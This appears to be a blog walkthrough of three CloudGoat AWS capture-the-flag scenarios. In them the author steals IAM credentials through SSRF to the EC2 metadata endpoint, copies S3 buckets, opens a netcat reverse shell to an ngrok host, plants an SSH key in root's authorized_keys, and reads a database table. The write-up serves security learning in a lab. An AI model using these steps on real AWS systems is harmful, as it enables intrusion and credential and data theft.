AWS Cloud Goat

14 min readOct 7, 2022

Cloud Goat is a AWS deployment container which is basically a CTF for teaching AWS abuses. The scenarios that I have tried covering from cloudgoat are

Cloud Breach s3
EC2 SSRF
RCE Web App

The reason why I have done only three is because most of them were unstable required a lot of troubleshooting and it did require fixing some errors in this scenarios as well

Setting up Cloud Goat

Git clone the repo for cloud goat and, install the requirements and run

Cloud goat also requires Terraform which is used for managing the cloud infrastructure through templates and policies through cli or through code

https://www.terraform.io/downloads

After downloading terraform, move it to /usr/bin/ and after that you can run cloudgoat.py

Before creating a scenario, we need to have a free tier AWS account and for that you do need to provide valid details regarding the credit card but no amount will be deducted

After logging we need to create a user

On this user we need to set AdministratorAccess policy

Skip the Add tags option

After creating the user, We’ll get AWS session and secret key

Now use awscli to configure aws session for this user by creating a profile becuase this script will be using the AWS resources from our account so make to remove them after you are done with the scenarios

You may encounter an error where cloudgoat script may fail to install terraform-provider-archive so to fix this issue manually download the binary and place it in /usr/bin

Cloud Breach s3 (Medium)

In this scenario we need to query the metadata of EC2 from a reverse proxy and access AWS session then using those keys we need to extract data from s3 bucket, so creating this scenario

To start attacking, we can get the IP address from the generated start.txt file

Running an nmap scan (it isn’t necessary) we can see that it’s an ec2 instance

But it doesn’t show anything on the web server

Making a request with curl shows that it's configured to work as a proxy to make requests to ec2 metadata

AWS has an IP for metadata which is 169.254.169.254, so we need to edit the Host header of the request and make a request to /latest

So we can make a request to /latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cloud_breach_s3_cgidkt0wpx0w0k , which will show AWS access key

Adding a profile using these keys

We can verify the keys if they are working with

aws sts get-caller-identity --profile cloud_breach

Now we don’t know what’s the s3 bucket, we can list s3 buckets if it’s associated with the AWS key

aws s3 ls --profile cloud_breach

To view contents of this s3 bucket we can list it by giving the bucket name which is cg-cardholder-data-bucket-cloud-breach-s3-cgidkt0wpx0w0k

aws s3 ls s3://cg-cardholder-data-bucket-cloud-breach-s3-cgidkt0wpx0w0k --profile cloud_breach

To copy all files from s3 bucket we can use cp to copy files, --recusrive to copy all files . for the the destination to be the current path

aws s3 --recursive cp s3://cg-cardholder-data-bucket-cloud-breach-s3-cgidkt0wpx0w0k . --profile cloud_breach=

Accessing any of these file mean that we have compromised s3 bucket which completes this scenario

We can now destroy this scenario with python3 cloudgoat.py destroy cloud_breach_s3

EC2 SSRF (Medium)

In this scenario we have access to IAM user through which we have to enumerate permissions and find a lambda function through which we can access EC2 instance and extract data from s3 bucket

To create this scenario, we need to run python3 cloudgoat.py create ec2_ssrf

But at the end this will fail because python3.6 is not supported for creating lambda functions, we can fix it by replacing it with python3.9 by editing scenarios/ec2_ssrf/terraform/lambda.tf

Now running the script again to create the scenario

In start.txt we havet the account id and AWS access key for solus IAM user

So let’s create a profile for solus user with AWS keys

To verify if the AWS keys are working

aws sts get-caller-identity --profile solus

Listing lambda functions with

aws lambda list-functions --profile solus --region us-east-1

This reveals EC2 access key, to use them we need to create another profile for this access key, also if we try invoking this function it won’t work

So creating aws profile

Running ec2 describe-instances to view the instances associated with the access key

aws ec2 describe-instances --profile solus_ec2 --region us-east-1

Scrolling a little down we’ll get the instance’s IP address which will also reveal public IP

Running nmap scan on EC2 instance to see which ports are open

It has a web server running so let’s visit that, the default page had some issues as the creator didn’t handle the errors properly

We can resolve this by including url GET parameter

As the page tells that this is about SSRF, we can try making a requesst to EC2 metadata on IP 169.254.169.254

Making a request to /latest/meta-data/iam/security-credentials/ we'll get the role cg-ec2-role-ec2_ssrf_cgidne4wv0ljch for which we can get read the AWS keys

With aws configure we can use the AWS keys to create a profile for ec2_ssrf

We also need to add the session token

To access s3 bucket, we first to list them with aws s3 ls --profile ec2_ssrf

Listing the contents of this bucket will shows us a text file

Downloading this file with cp, we'll get AWS keys for another user which seems to be privileged from from the name of the text file

Checking this user’s identity, it’s shepard

Now invoking the function which we tried before with solus user but this time trying with Shepard

aws lambda invoke --function-name cg-lambda-ec2_ssrf_cgidne4wv0ljch --profile ec2_ssrf_admin --region us-east-1 ./output.txt

Reading the response from the text file, we’ll see that we completed this scenario

We can destroy this scenario with cloudgoat.py destroy ec2_ssrf

RCE Web App (Hard)

In this scenario we have access to two IAM users and access s3 bucket which will lead to a vulnerable web app for rce

We can create this scenario with python3 cloudgoat.py create rce_web_app

But at the end it showed an error that it wasn’t able to create RDS (Amazon Relational Database) DB instance because it couldn’t find postgres 9.6 because that has been deprecated

This issue can be resolved by replacing the postgres version to 12

Here we have two users lara and mcduck, so first I'll take the path from lara

Path from Lara

Creating a profile for lara by using access and secret key

We can verfiy if the keys are working

From this IAM user, we can access s3 bucket

aws s3 ls --profile lara

We can see there are three buckets but this user can access only cg-logs bucket

To download cg-lb-logs folder recursively

aws s3 cp --recursive s3://cg-logs-s3-bucket-rce-web-app-cgid3ntl2q2i88 . --profile lara

On accessing that folder, there’s a log file which contained some requests

Making a request to see these urls are alive but they were down

So we know there might be a web app running, we can try listing an ec2 instances through this profile

aws ec2 describe-instances --profile lara --region us-east-1

We scan this ec2 instance for open ports which shows that there’s only ssh open the instance

So there’s nothing we can do from the ec2, the log file belongs to a load balancer, so we can try listing the load balancers with elbv2 describe-load-balancers

aws elbv2 describe-load-balancers --profile lara --region us-east-1

We can visit this url and access the site

This talks about visiting “the secret url” which we can find from the logs

This gives us a functionality to execute commands which we can abuse to get a reverse shell

For reverse shell, we can use ngork which is used for exposing local port over the internet, I was having issues with ngrok not working with kali linux so I switched to ubuntu for getting a shell using busybox variant of netcat

echo "rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 0.tcp.ap.ngrok.io 11400 >/tmp/f" |base64 -w0

We can run ngrok with ngrok tcp 2222

But issue is when getting a reverse shell, the application stops responding

We can try accessing root’s ssh key but it wasn’t generated

Since we are root user, we can add our ssh public key and login with the private key

echo "ssh public key " > /root/.ssh/authorized_keys

On adding the key I was getting an error due to Unterminated quoted string, I am not sure why I was getting that but I wasn't able to add the ssh key

If we check root’s authorized_keys file, it says to login as ubuntu

Either the ssh key is being truncated for some reason or it needs a proper format for the key as AWS supports D25519 and 2048-bit SSH-2 RSA keys for Linux instances, there is even an issue reported for this part

Generate the key again with ed25519

echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG5QcNdp9tUZRQvmkPMDfZpXciiy+7YVTdNI9RyUPbcR arz@kali" > /root/.ssh/authorized_keys

We can see that this worked perfectly with no errors which means we can now login into the ec2 instance we found earlier

Having access to EC2, we can query for the metadata from the magic AWS IP 169.254.169.254

curl 169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-rce_web_app_cgidd9pk8lqvym

Using the keys we can create a new profile for aws session

With this user we can access the secrets s3 bucket and find db.txt

Downloading the file

From this file we’ll get the credentials for database

DB instance can be found with rds describe-db-instances

aws rds describe-db-instances --profile rce_web --region us-east-1

This is an internal instance, so we need to access it from ec2

Database can be accessed with psql

psql -h cg-rds-instance-rce-web-app-cgidd9pk8lqvym.cvqhxg0xsdki.us-east-1.rds.amazonaws.com -U cgadmin -d cloudgoat

Listing the tables with \d

we have a table named sensitive_information, so let's query the table with select * from sensitive_information

By having the secret password, the rce scenario will be completed

Path from McDuck

Using McDuck’s aws keys

With this user we can try listing s3 buckets

Now with lara we were only able to access the cg-logs bucket but with mcduck we can access cg-keystore bucket

Downloading the public and private keys

From lara we already know the IP of the ec2 instance so we can login using ubuntu user through ssh

From here we could either get the keys from metdata or install awscli, access s3 bucket to get the credentials to the database, list the relation database instance and use postgresql client to access database, since we have sudo privileges we can become root user

apt install awscli

aws sts get-caller-identity

Accessing the s3 bucket to get database credentials

Now getting database instance’s IP

aws rds describe-db-instances --region us-east-1

And with the credentials and database’s instance we’ll able to login and complete the scenario like we did with lara user.